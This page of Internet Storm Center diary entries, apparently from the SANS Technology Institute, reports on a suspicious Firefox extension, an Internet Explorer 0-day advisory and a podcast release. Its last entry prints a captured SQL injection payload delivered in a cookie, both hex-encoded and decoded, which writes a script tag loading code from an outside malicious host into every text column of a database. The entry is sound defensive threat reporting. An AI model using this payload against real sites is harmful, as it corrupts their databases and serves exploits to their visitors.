Firefox extension used as password stealer?
Thanks a lot to our reader David who took the time to analyze this in more detail. It appears to be a "harmless" plugin / maybe adware. But no passwords are stolen this time. Thanks!
A reader sent us a suspicious e-mail, which included a link to an .xpi file (a Firefox extension) as attachement. Looks like a very nice find! I am still looking at the extension. Just from a preliminary glanze at it, the extension may try to steal the content of form fields.
The origin appears to be russian. The link went to ht tp : //qs-s. nm. ru (again: inserted spaces to protect the innocent)
The e-mail:
Subject
We have received mnoey. Here your book. Read and grow rich!
Body
ht tp:// qs-s. nm. ru - We have received money. Here your book. Read adn grow rich!
(and thanks for the person posting the comment below to point out I forgot to break up the second instance of the URL :-) ).
Still working on exactly figuring out what this does. E.g. if it is just adware or actually steels passwords. May have to wait until I get home and get to run it in the lab.
------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Browser Security Handbook
I've been having a lot of fun and quite some additional insight into what makes one browser different from the next one reading today the Google browser security handbook by Michal Zalewski
I've not yet touched on the testing toolkit they have available for download, but the 3 sections of the document are quite interesting.
Highly recommended reading!
--
Swa Frantzen -- Section 66
Internet Storm Center Podcast Episode Twelve
Hey everyone, sorry it has taken so long to get around to recording another podcast episode. Travel schedules have been very crazy between us lately. Anyway, enough excuses, here is episode twelve.
-- Joel Esler http://www.joelesler.net
IE7 0day expanded to include IE6 and IE8(beta) -- now others
Microsoft has updated Security Advisory (961051) to include Microsoft Internet Explorer 6 and Windows Internet Explorer 8(beta).
This is the vulnerability discussed is these recent articles:
http://isc.sans.org/diary.html?storyid=5458
and
http://isc.sans.org/diary.html?storyid=5464
I don't want to start a panic. We have not received any reports of attacks affecting these versions (yet.)
UPDATE:
The advisory has been updated again to say:
Our investigation so far has shown that these attacks are only against Windows Internet Explorer 7 on supported editions of Windows XP Service Pack 2, Windows XP Service Pack 3, Windows Server 2003 Service Pack 1, Windows Server 2003 Service Pack 2, Windows Vista, Windows Vista Service Pack 1, and Windows Server 2008. Microsoft Internet Explorer 5.01 Service Pack 4, Microsoft Internet Explorer 6 Service Pack 1, Microsoft Internet Explorer 6, and Windows Internet Explorer 8 Beta 2 on all supported versions of Microsoft Windows are potentially vulnerable.
Emphasis is mine.
What is confirmed to be vulnerable:
- Internet Explorer 7
What is potentially vulnerable:
- Internet Explorer 5.01 SP4
- Internet Explorer 6
- Internet Explorer 6 SP1
- Internet Explorer 8 Beta 2
MSIE 0-day Spreading Via SQL Injection
One of our readers submitted this log entry, which shows a typical SQL injection exploit. The "new" part is that the javascript injected in this case is trying to exploit the MSIE 0-day:
In this case, the SQL injection is delivered as a cookie, not a GET parameter.
I broke up the strings for readability and inserted spaces around the malicious URL. As usual with these kinds of exploit, the script will load another script which will load another script ultimatley leading to the IE exploit.
Cookie: ref=ef';DECLA RE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263
6861722832353529204445434C415245205461626C655F437572736F7220435552534F52
20464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F62
6A6563747320612C737973636F6C756D6E7306220776865726520612E69643D622E69642
0616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72206
22E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653
D31363729204F50454E205461626C655F437572736F72204645544348204E45585420465
24F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404
046455443485F5354415455533D302920424547494E20657865632827757064617465205
B272B40542B275D20736574205B272B40432B275D3D727472696D28636F6E76657274287
66172636861722834303030292C5B272B40432B275D29292B27273C73637269707420737
2633D687474703A2F2F313767616D6F2E636F6D2F312E6A733E3C2F7363726970743E272
727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544
F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4
F43415445205461626C655F437572736F72 AS VARCHAR(4000));exec (@S);--
Decoded as:
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or
b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+']
set ['+@C+']=rtrim(convert(varchar(4000),['+@C+']))+
''<script src=http:// 17gamo . com/1.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor
------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Comments